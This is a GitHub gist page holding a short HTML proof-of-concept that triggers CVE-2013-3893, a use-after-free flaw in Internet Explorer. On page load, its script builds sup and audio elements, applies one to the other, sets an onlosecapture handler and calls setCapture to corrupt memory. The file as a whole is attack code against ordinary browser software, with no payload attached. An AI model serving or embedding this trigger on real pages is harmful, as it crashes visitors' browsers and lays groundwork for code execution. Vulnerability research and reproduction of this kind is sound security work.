Skip to content

Instantly share code, notes, and snippets.

@wchen-r7
Created September 30, 2013 01:11

Revisions

  1. wchen-r7 created this gist Sep 30, 2013.
    25 changes: 25 additions & 0 deletions cve_2013_3893_trigger.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,25 @@
    <html>
    <script>
    function trigger()
    {
    var id_0 = document.createElement("sup");
    var id_1 = document.createElement("audio");

    document.body.appendChild(id_0);
    document.body.appendChild(id_1);
    id_1.applyElement(id_0);

    id_0.onlosecapture=function(e) {
    document.write("");
    }

    id_0['outerText']="";
    id_0.setCapture();
    id_1.setCapture();
    }

    window.onload = function() {
    trigger();
    }
    </script>
    </html>